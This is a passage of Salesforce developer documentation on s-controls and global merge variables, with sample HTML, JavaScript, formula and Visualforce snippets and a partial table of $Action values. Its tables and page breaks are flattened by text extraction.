Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Salesforce empowers you to reference s-controls in many different areas within the application. Before deleting a custom s-control, check where it is used. To delete a custom s-control: 1. Click Your Name > Setup > Develop > S-Controls. 2. Click Del next to the custom s-control you want to delete. 3. Click OK to confirm. Note: You cannot delete a custom s-control that is used elsewhere in Salesforce. Deleted s-controls do not go into the Recycle Bin.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Understanding Custom Buttons and Links Defining Custom S-Controls Useful S-Controls Tips on Building S-Controls

2237

Develop

Defining Custom S-Controls

Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom buttons and links are available in: All Editions S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Overriding standard buttons and tab home pages is available in: Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use the following samples to get started using s-controls: S-Controls for Detail Pages S-Controls that Override Standard Buttons and Tab Home Pages S-Controls that Include Snippets

See Also:
Defining Custom S-Controls Tips on Building S-Controls Understanding Global Variables About S-Controls Overriding Standard Buttons and Tab Home Pages Documentation Resources for Force.com Developers

S-Controls for Detail Pages


Yahoo Map Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an HTML s-control and add it to your account detail page layout:
<html> <head> <script type="text/javascript" src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo"> </script> <style type="text/css"> #mapContainer { height: 200px; width: 100%; } </style> </head>

2238

Develop

Defining Custom S-Controls

<body> <div id="mapContainer"></div> <script type="text/javascript"> // Create a map object var map = new YMap(document.getElementById('mapContainer')); // Display the map centered on given address map.drawZoomAndCenter("{!Account.BillingStreet}, \ {!Account.BillingCity},\ {!Account.BillingState},\ {!Account.BillingPostalCode}", 3); // Set marker at that address map.addMarker("{!Account.BillingStreet}, \ {!Account.BillingCity},\ {!Account.BillingState},\ {!Account.BillingPostalCode}", 3); </script> </body> </html>

S-Controls that Override Standard Buttons and Tab Home Pages


Add Product Override You may have your own code that you prefer to use for adding products to opportunities instead of the standard page. Use the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides the Add Product button on the Products related list of an opportunity. This type of override illustrates how related list buttons can contain merge fields from the master object as well as the detail. For example, the code below contains opportunity merge fields, which is on the master side of a master-detail relationship with opportunity products.
<html> <head> <script type="text/javascript" src="/soap/ajax/13.0/connection.js"> </script> </head> <body> <b>Opportunity Info:</b> <br> Opportunity ID: {!Opportunity.Id} <br> Opportunity Name: {!Opportunity.Name} <br> Opportunity Record Type: {!Opportunity.RecordType} <br> </body> </html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided. Then, override the add product action from the opportunity products object using the s-control. This example assumes you have record types on opportunities. Note: This example does not include the code to add products. The content in the body section simply illustrates how to use opportunity merge fields from the opportunity products related list. Replace the body section with your code.

2239

Develop

Defining Custom S-Controls

Conditional Override for Editing Leads You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days. Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your custom s-control to edit leads. Otherwise, use the standard lead edit action.
<script type="text/javascript"> //determine if the lead has been open longer than 30 days if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30) { //more than 30 days - display a custom scontrol page window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}"; } else { //30 days or less - display the standard edit page window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id, [retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}"; } </script>

To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the EditLeadsOpenLongerThan30 s-control. Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if statement that evaluates on the browser. The second is the Salesforce IF function that evaluates on the server and returns a single valuethe number of days the lead has been open, or zero if the lead is not open. Tip: Use the URLFOR function in this example to build Salesforce URLs rather than specifying individual URLs to ensure they are supported across releases. To display a standard Salesforce page without invoking the override, set the no override argument in the URLFOR function to true. Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

Edit Contact Override You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.
<html> <head> <script type="text/javascript" src="/soap/ajax/13.0/connection.js"> </script> </head> <body> <b>Contact Info:</b> <br> Contact ID: {!Contact.Id} <br> Contact Name: {!Contact.FirstName} {!Contact.LastName} <br> </body> </html>

2240

Develop

Defining Custom S-Controls

To implement this functionality, create an HTML s-control with the content above inserting your code in the body section. Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists. Note: This example does not include the code to edit contacts. The code within the body section only illustrates how to use contact merge fields to display information about the contact. Replace the body section with your code.

Interrupt Override for New Accounts Overriding standard buttons makes them unavailable in your entire Salesforce organization. However, you can override a standard action and redirect to that action from your s-control without getting into an infinite loop. For example, you can override the New button on accounts, perform your own custom process, and resume with the standard new account action without getting into an infinite loop. To do this, use the no override argument in the URLFOR function.
<script type="text/javascript"> alert("Hi, I am demonstrating how to interrupt New Account with an override. continue."); Click OK to

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}"; </script>

To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using the s-control. Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop. Conditional Accounts Tab Home Page Override You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page. To implement this, first create an s-control called ApplicantHomePage that contains the content to display to recruiters. Next create an s-control of type HTML using the following code to implement the conditional override logic:
<script type="text/javascript"> //determine the user profile name var recruiter = {!IF($Profile.Name = "Recruiter", true, false)}; //when the profile is recruiter - display a custom s-control page if (recruiter) { window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}"; } else { //when the profile is not recruiter - display the standard Accounts tab page window.parent.location.href="{! urlFor( $Action.Account.Tab , $ObjectType.Account,null,true)}"; } </script>

Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named Recruiter exists in your organization.

2241

Develop

Defining Custom S-Controls

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

S-Controls that Include Snippets


Including Snippets Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides a header for a page that displays in a web tab. The page will have the title My Title. Use the $SControl global variable to reference a snippet. To implement this, create two snippets called Resize_Iframe_head and Resize_Iframe_onload and create an HTML s-control called Resize_Iframe_sample that includes the following code:
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title", theme = "modern"])} </body> </html>

For more information on using this function, see INCLUDE on page 1253.

Tips on Building S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use the following tips when building s-controls: If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers. Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example, the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button. Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the organization has selected. The Theme1 value for this merge field represents the Salesforce Classic theme and Theme2 represents the Salesforce theme. To view this merge field in an example, see Useful S-Controls on page 2238. S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which can include one or more merge fields, functions, or global variables.

2242

Develop

Defining Custom S-Controls

When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the page. To insert activity merge fields, select Event or Task from Select Field Type.

See Also:
Defining Custom S-Controls Useful S-Controls Understanding Global Variables About S-Controls Documentation Resources for Force.com Developers

Understanding Global Variables


S-controls and formulas available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Custom buttons and links are available in: All Editions Visualforce available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
$Profile global merge field type available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls, formulas, or Visualforce pages: Customize Application

Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add to your custom component:

$Action
Description: A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts. Use action merge fields in LINKTO and URLFOR functions to reference the action selected. 1. Select the field type: $Action. 2. Insert a merge field in the format $Action.object.action, such as $Action.Account.New.

Use:

2243

Develop

Defining Custom S-Controls

Note: For a list of actions and their supported objects, see Valid Values for the $Action Global Variable on page 2260.

S-Control Example:

The s-control below references the standard action for creating new accounts in the $Action.Account.New merge field.
<html> <body> {!LINKTO("Create a New Account", $Action.Account.New, $ObjectType.Account)} </body> </html>

Visualforce Example:
<apex:outputLink value="{!URLFOR($Action.Account.New)}">Create New Account</apex:outputLink>

Tips:

This global variable is only available for custom buttons and links, s-controls, and Visualforce pages.

$Api
Description: Use: A global merge field type to use when referencing API URLs. 1. Select the field type: $Api. 2. Select a merge field, such as:
$Api.Enterprise_Server_URL__xxx: The Enterprise WSDL SOAP endpoint where xxx

S-Control Example:

represents the version of the API. For example, $Api.Enterprise_Server_URL_140 is the merge field value for version 14.0 of the API. $Api.Partner_Server_URL__xxx: The Partner WSDL SOAP endpoint where xxx represents the version of the API. $Api.Partner_Server_URL_120 is the merge field value for version 12.0 of the API. $Api.Session_ID: The session ID.

The custom formula field below calls a service to replace the SIC code. Replace myserver with the name of your server.
HYPERLINK("https://www.myserver.com/mypage.jsp" & "?Username=" & $User.Username & "&crmSessionId=" & GETSESSIONID() & "&crmServerUrl=" & $Api.Partner_Server_URL_90 & "&crmObjectId=" & Id &

2244

Develop

Defining Custom S-Controls

"&crmFieldUpdate=sicCode", "Update SIC Code")

Visualforce Example:

Use dot notation to return the session ID.


{!$Api.Session_ID}

Tips:

This global variable is only available for formula fields, s-controls, custom buttons and links, and Visualforce pages.

$Component
Description: Use: A global merge field type to use when referencing a Visualforce component. Each component in a Visualforce page has its own id attribute. When the page is rendered, this attribute is the same as the Document Object Model (DOM) ID.Use $Component.Id in JavaScript to reference a specific component on a page.
function beforeTextSave() { document.getElementById('{!$component.msgpost}').value = myEditor.getEditorHTML(); }

Visualforce Example:

Tips:

This global variable is only available for Visualforce pages.

$componentLabel
Description: Use: Visualforce Example:
<apex:datalist var="mess" value="{!messages}"> <apex:outputText value="{!mess.componentLabel}:" style="color:red/> <apex:outputText value="{!mess.detail}" style="color:black" /> </apex:datalist>

A global merge field to use when referencing the label of an inputField component on a Visualforce page that is associated with a message. Return the label of an inputField component that is associated with a message.

Tips:

This global variable is only available for Visualforce pages.

$CurrentPage
Description: A global merge field type to use when referencing the current Visualforce page.

2245

Develop

Defining Custom S-Controls

Use: Visualforce Example:

Use this expression in a Visualforce page to access the current page parameters and values, the current page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You belong to the {!account.name} account.<br/> You're also a nice person. </apex:pageBlock> <apex:detail subject="{!account}" relatedList="false"/> <apex:relatedList list="OpenActivities" subject="{!$CurrentPage.parameters.relatedId}"/> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Label
Description: Use: A global merge field type to use when referencing a custom label in a Visualforce page. Use this expression in a Visualforce page to access a custom label. When the application server constructs the page to be presented to the end-users browser, the value returned depends upon the language setting of the contextual user. The value returned is one of the following, in order of precedence: 1. the local translation's text 2. the packaged translation's text 3. the master label's text Visualforce Example:
<apex:page> <apex:pageMessage severity="info" strength="1" summary="{!$Label.firstrun_helptext}" /> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Label.Site
Description: A global merge field type to use when referencing a standard label in a Visualforce page. Like all standard labels, the text will display based on the user's language and locale.

2246

Develop

Defining Custom S-Controls

Use:

Use this expression in a Visualforce page to access a standard label. When the application server constructs the page to be presented to the end-users browser, the value returned depends on the language and locale of the user. Salesforce provides the following labels: Label authorization_required bandwidth_limit_exceeded change_password change_your_password click_forget_password community_nickname confirm_password down_for_maintenance email email_us enter_password error error2 file_not_found forgot_password forgot_password_confirmation forgot_your_password_q get_in_touch go_to_login_page img_path in_maintenance limit_exceeded login login_button login_or_register_first logout new_password new_user_q Message Authorization Required Bandwidth Limit Exceeded Change Password Change Your Password If you have forgotten your password, click Forgot Password to reset it. Nickname Confirm Password <i>{0}</i> is down for maintenance Email email us Did you forget your password? Please enter your username below. Error: {0} Error File Not Found Forgot Password Forgot Password Confirmation Forgot Your Password? Please <a href="{0}">{1}</a> if you need to get in touch. Go to Login Page /img/sites Down For Maintenance Limit Exceeded Login Login You must first log in or register before accessing this page. Logout New Password New User?

2247

Develop

Defining Custom S-Controls

Label old_password page_not_found page_not_found_detail password passwords_dont_match powered_by register registration_confirmation site_login site_under_construction sorry_for_inconvenience sorry_for_inconvenience_back_shortly stay_tuned submit temp_password_sent thank_you_for_registering under_construction user_registration username verify_new_password

Message Old Password Page Not Found Page Not Found: {0} Password Passwords did not match. Powered by Register Registration Confirmation Site Login Site Under Construction Sorry for the inconvenience. Sorry for the inconvenience. We'll be back shortly. Stay tuned. Submit An email has been sent to you with your temporary password. Thank you for registering. An email has been sent to you with your temporary password. <i>{0}</i> is under construction New User Registration Username Verify New Password

Visualforce Example:
<apex:page> <apex:pageMessage severity="info" strength="1" summary="{!$Label.Site.temp_password_sent}" /> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$ObjectType
Description: A global merge field type to use when referencing standard or custom objects such as accounts, cases, or opportunities as well as the value of a field on that object. Use object type merge

2248

Develop

Defining Custom S-Controls

fields in LINKTO, GETRECORDIDS, and URLFOR functions to reference a specific type of data or the VLOOKUP function to reference a specific field in a related object. Use: 1. Select the field type: $ObjectType. 2. Select an object to insert a merge field representing that object, such as $ObjectType.Case. Optionally, select a field on that object using the following syntax: $ObjectType.Role_Limit__c.Fields.Limit__c. Custom Button Example: The custom list button below references the cases standard object in the$ObjectType.Case merge field.
{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records = {!GETRECORDIDS($ObjectType.Sample)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else { for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

Validation Rule Example:

This example checks that a billing postal code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c object or the billing state does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA", BillingCountry = "US"), VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c, $ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5))

2249

Develop

Defining Custom S-Controls

<> BillingState )

Visualforce Example:

The following example retrieves the label for the account namefield:
{!$ObjectType.account.fields.name.label}

Tips:

This global variable is available in Visualforce pages, custom buttons and links, s-controls and validation rules.

$Organization
Description: A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference your organization's city, fax, ID, or other details. 1. Select the field type: $Organization. 2. Select a merge field such as $Organization.Fax. Use organization merge fields to compare any attribute for your organization with that of your accounts. For example, you may want to determine if your organization has the same country as your accounts. The validation formula below references your organization's country merge field and requires a country code for any account that is foreign.
AND($Organization.Country <> BillingCountry, ISNULL( Country_Code__c ) )

Use:

Validation Rule Example:

Visualforce Example:

Use dot notation to access your organization's information. For example, to retrieve the street and state of your organization, use the following:
{!$Organization.Street} {!$Organization.State}

Note that you cannot use the {!$Organization.UiSkin} in Visualforce. Tips: The organization merge fields get their values from whatever values are currently stored as part of your company information in Salesforce.

$Page
Description: A global merge field type to use when referencing a Visualforce page.

2250

Develop

Defining Custom S-Controls

Use: Visualforce Example:

Use this expression in a Visualforce page to access another Visualforce page.


<apex:page> <h1>Linked</h1> <a href="{!$Page.otherPage}">This is a link to another page</a> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Profile
Description: A global merge field type to use when referencing information about the current user's profile. Use profile merge fields to reference information about the user's profile such as license type or name. 1. Select the field type: $Profile. 2. Select a merge field such as $Profile.Name. The validation rule formula below references the profile name of the current user to ensure that only the record owner or users with this profile can make changes to a custom field called Personal Goal:
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Use:

Validation Rule Example:

Visualforce Example:

To return the current user's profile, use the following:


{$Profile.Name}

Tips:

$Profile merge fields are only available in Editions that

can create custom profiles. Use profile names to reference standard profiles in $Profile merge fields. If you previously referenced the internal value for a profile, use the following list to determine the name to use instead: Standard Profile Name $Profile Value

System Administrator PT1 Standard User Ready Only


PT2 PT3

2251

Develop

Defining Custom S-Controls

Standard Profile Name Solution Manager Marketing User Contract Manager Partner User Standard Platform User Standard Platform One App User

$Profile Value
PT4 PT5 PT6 PT7 PT8 PT9

Customer Portal User PT13 Customer Portal Manager


PT14

Your merge field values will be blank if the profile attributes are blank. For example profile Description is not required and may not contain a value. You do not need to give users permissions or access rights to their profile information to use these merge fields.

$RecordType
Description: Use: Visualforce Example: A global merge field to use when referencing a record type. Add $RecordType manually to your s-control. To return the ID of the current record type, use the following:
{$RecordType.Id}

Tips:

Use $RecordType.Id to reference a specific record type instead of $RecordType.Id. While $RecordType.Id makes a formula more readable, you must update the formula if the name of the record type changes, whereas the ID of a record type never changes. Do not reference any field with the $RecordType variable in cross-object formulas. The $RecordType variable only resolves to the record containing the formula, not the record to which the formula spans.

2252

Develop

Defining Custom S-Controls

$Request
Description: Use: S-Control Example: A global merge field to use when referencing a query parameter by name that returns a value. Add $Request manually to your s-control. The snippet below, named Title_Snippet, requires two input parameters: titleTheme and titleText. You can reuse it in many s-controls to provide page title and theme in your HTML.
<h2 class={!$Request.titleTheme}.title> {!$Request.titleText}</h2>

The s-control below calls this snippet using the INCLUDE function, sending it the parameters for both the title and theme of the HTML page it creates.
<html> <head> </head> <body> {! INCLUDE($SControl.Title_Snippet, [titleTheme = "modern", titleText = "My Sample Title"]) } ... Insert your page specific content here ... </body> </html>

Tips:

Do not use $Request in Visualforce pages to reference query parameters. Use $CurrentPage instead.

$Resource
Description: A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge fields in URLFOR functions to reference a particular file in a static resource archive. Use $Resource to reference an existing static resource. The format is $Resource.nameOfResource, such as $Resource.TestImage. The Visualforce component below references an image file that was uploaded as a static resource and given the name TestImage:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

Use:

Visualforce Examples:

2253

Develop

Defining Custom S-Controls

To reference a file in an archive (such as a .zip or .jar file), use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50"/>

Tips:

This global variable is only available for Visualforce pages.

$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Description: A global merge field type to use when referencing an existing custom s-control by name. Use s-control merge fields in LINKTO, INCLUDE, and URLFOR functions to reference one of your custom s-controls. 1. Select the field type: $SControl. 2. Select an s-control to insert a merge field representing that s-control, such as $Scontrol.Header_Snippet. The s-control below references the snippet in the $Scontrol.Header_Snippet merge field:
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title", theme = "modern"])} </body> </html>

Use:

S-Control Example:

Visualforce Example:

The following example shows how to link to an s-control named HelloWorld in a Visualforce page:
<apex:page> <apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld s-control</apex:outputLink> </apex:page>

2254

Develop

Defining Custom S-Controls

Note that if you simply want to embed an s-control in a page, you can use the <apex:scontrol> tag without the $SControl merge field. For example:
<apex:page> <apex:scontrol controlName="HelloWorld" /> </apex:page>

Tips:

The drop-down list for Insert Merge Field lists all your custom s-controls except snippets. Although snippets are s-controls, they behave differently. For example, you cannot reference a snippet from a URLFOR function directly; snippets are not available when creating a custom button or link that has a Content Source of Custom S-Control; and you cannot add snippets to your page layouts. To insert a snippet in your s-control, use the Insert Snippet drop-down button. This global variable is only available for custom buttons and links, s-controls, and Visualforce pages.

$Site
Description: Use: A global merge field type to use when referencing information about the current Force.com site. Use dot notation to access information about the current Force.com site. Note that only the following site fields are available: Merge Field {!$Site.Name} {!$Site.Domain} {!$Site.CustomWebAddress} {!$Site.OriginalUrl} {!$Site.CurrentSiteUrl} Description Returns the API name of the current site. Returns the Force.com domain name for your organization. Returns the value of the Custom Web Address field for the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

{!$Site.LoginEnabled} {!$Site.RegistrationEnabled}

{!$Site.IsPasswordExpired}

2255

Develop

Defining Custom S-Controls

Merge Field {!$Site.AdminEmailAddress} {!$Site.Prefix}

Description Returns the value of the Site Contact field for the current site. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.

{!$Site.Template}

{!$Site.ErrorMessage}

{!$Site.ErrorDescription}

{!$Site.AnalyticsTrackingCode}

Visualforce Example: The following example shows how to use the $Site.Template merge field:
<apex:page title="Job Application Confirmation" showHeader="false" standardStylesheets="true"> <!-- The site template provides layout & style for the site --> <apex:composition template="{!$Site.Template}"> <apex:define name="body"> <apex:form> <apex:commandLink value="<- Back to Job Search" onclick="window.top.location='{!$Page.PublicJobs}';return false;"/> <br/> <br/> <center><apex:outputText value="Your application has been saved. Thank you for your interest!"/></center> <br/> <br/> </apex:form> </apex:define> </apex:composition> </apex:page>

Tips:

This global variable is available in Visualforce pages, email templates, and s-controls.

$System.OriginDateTime
Description: A global merge field that represents the literal value of 1900-01-01 00:00:00. Use this global variable when

2256

Develop

Defining Custom S-Controls

performing date/time offset calculations or to assign a literal value to a date/time field. Use: 1. Select the field type: $System. 2. Select OriginDateTime from the Insert Merge Field option. The example below illustrates how to convert a date field into a date/time field. It uses the date in the OriginDateTime merge field to get the number of days since a custom field called My Date Field. Then, it adds the number of days to the OriginDateTime value.
$System.OriginDatetime + ( My_Date_Field__c - DATEVALUE($System.OriginDatetime) )

Formula Example:

Note: OriginDateTime is in the GMT time zone but the result is displayed in the user's local time zone.

Visualforce Example:

The following example calculates the number of days that have passed since 1900:
{!NOW() - $System.OriginDateTime}

Tips:

This global variable is available in Visualforce pages, default values, field updates, formula fields, s-controls, and validation rules.

$User
Description: A global merge field type to use when referencing information about the current user. User merge fields can reference information about the user such as alias, title, and ID. 1. Select the field type: $User. 2. Select a merge field such as $User.Username. The validation rule formula below references the ID of the current user to determine if the current user is the owner of the record. Use an example like this to ensure that only the record owner or users with an administrator profile can make changes to a custom field called Personal Goal:
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Use:

Validation Rule Example:

2257

Develop

Defining Custom S-Controls

Visualforce Example:

The following example displays the current user's company name, as well as the status of the current user (which returns a Boolean value).
<apex:page> <h1>Congratulations</h1> This is your new Apex Page <p>The current company name for this user is: {!$User.CompanyName}</p> <p>Is the user active? {!$User.isActive}</p> </apex:page>

Tips:

The current user is the person changing the record that prompted the default value, validation rule, or other operation that uses these global merge fields. When a Web-to-Case or Web-to-Lead process changed a record, the current user is the Default Lead Owner or Default Case Owner. When a workflow field update changes a record, the user is the Default Workflow User. Some of the $User merge fields can be used in mobile configuration filters. For more information, see Merge Fields for Mobile Filter Criteria on page 995.

$User.UITheme and $User.UIThemeDisplayed


Description: These global merge fields identify the Salesforce look and feel a user sees on a given Web page. The difference between the two variables is that $User.UITheme returns the look and feel set by the user, while $User.UIThemeDisplayed returns the actual look and feel. For example, a user may have the permissions to see the new user interface theme look and feel, but if they are using a browser that doesn't support that look and feel, $User.UIThemeDisplayed returns a different value. Factors that affect the expected theme from displaying include the user agent of the browser and whether accessibility mode is enabled. Use: Use these variables to identify the CSS used to render Salesforce web pages to a user. Both variables return one of the following values: Theme1Obsolete Salesforce theme Theme2Salesforce theme used prior to Spring '10 PortalDefaultSalesforce Customer Portal theme WebstoreSalesforce AppExchange theme Theme3Current Salesforce theme, introduced during Spring '10

2258

Develop

Defining Custom S-Controls

Visualforce Example:

The following example shows how you can render different layouts based on a user's theme:
<apex:page> <apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Theme2'}"> // this is the old theme... </apex:pageBlock> <apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Aloha'}"> //this is the new theme ... </apex:pageBlock> </apex:page>

The section Styling Visualforce Pages in the Visualforce Developer's Guide provides more information on how to use these global variables.

$UserRole
Description: A global merge field type to use when referencing information about the current user's role. Role merge fields can reference information such as role name, description, and ID. 1. Select the field type: $UserRole. 2. Select a merge field such as $UserRole.Name. The validation rule formula below references the user role name to validate that a custom field called Discount Percent does not exceed the maximum value allowed for that role:
Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c, $ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Use:

Validation Rule Example:

Visualforce Example:
{!$UserRole.LastModifiedById}

Tips:

The current user is the person changing the record that prompted the default value, validation rule, or other operation that uses these global merge fields. When a Web-to-Case or Web-to-Lead process changed a record, the current user is the Default Lead Owner or Default Case Owner. When a workflow field update changes a record, the user is the Default Workflow User.

2259

Develop

Defining Custom S-Controls

Note: You cannot use the following $UserRole values in Visualforce:


CaseAccessForAccountOwner ContactAccessForAccountOwner OpportunityAccessForAccountOwner PortalType

See Also:
Defining Custom S-Controls Useful S-Controls Tips on Building S-Controls Documentation Resources for Force.com Developers

Valid Values for the $Action Global Variable


$Action global variable available in: All Editions

User Permissions Needed To create, edit, and delete custom s-controls, formulas, or Visualforce pages: "Customize Application"

The following table lists the actions you can reference with the $Action global variable and the objects on which you can perform those actions. The values available in your organization may differ depending on the features you enable. Value Accept Description Accept a record. Objects Ad group Case Event Google campaign Keyword Lead Search phrase SFGA version Text ad

Activate

Activate a contract.

Contract

2260

Develop

Defining Custom S-Controls

Add AddCampaign AddInfluence AddProduct AddToCampaign

Add a product to a price book. Add a member to a campaign.

Product2 Campaign

Add a campaign to an opportunity's list Opportunity of influential campaigns. Add a product to price book. Add a contact or lead to a campaign. OpportunityLineItem Contact Lead

AddToOutlook AdvancedSetup AltavistaNews

Add an event to Microsoft Outlook. Launch campaign advanced setup.

Event Campaign Account Lead

Launch www.altavista.com/news/. Cancel an event. Specify a case for a solution. Change the owner of a record.

Cancel CaseSelect ChangeOwner

Event Solution Account Ad group Campaign Case Contact Contract Google campaign Keyword Leads Opportunities Search phrase SFGA version Text ad Case Lead

ChangeStatus

Change the status of a case.

ChoosePricebook Clone

Choose the price book to use. Clone a record.

OpportunityLineItem Ad group Asset Campaign Campaign member Case Contact Contract

2261

Develop

Defining Custom S-Controls

CloneAsChild CloseCase Convert

Event Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Text ad

Create a related case with the details of Case a parent case. Close a case. Case

Create a new account, contact, and Lead opportunity using the information from a lead. Convert a lead to a campaign member. Create an opportunity based on a campaign member. Decline an event. Delete a record. Campaign Member Campaign Member Event Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Event

ConvertLead Create_Opportunity Decline Delete

DeleteSeries

Delete a series of events or tasks.

2262

Develop

Defining Custom S-Controls

DisableCustomerPortal DisableCustomerPortalAccount DisablePartnerPortal DisablePartnerPortalAccount Download Disable a Customer Portal user. Disable a Customer Portal account. Disable a Partner Portal user. Disable a Partner Portal account. Download an attachment.

Task

Contact Account Contact Account Attachment Document Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad

Edit

Edit a record.

EditAllProduct EnableAsPartner EnablePartnerPortalUser EnableSelfService FindDup FollowupEvent FollowupTask HooversProfile

Edit all products in a price book. Designate an account as a partner account.

OpportunityLineItem Account

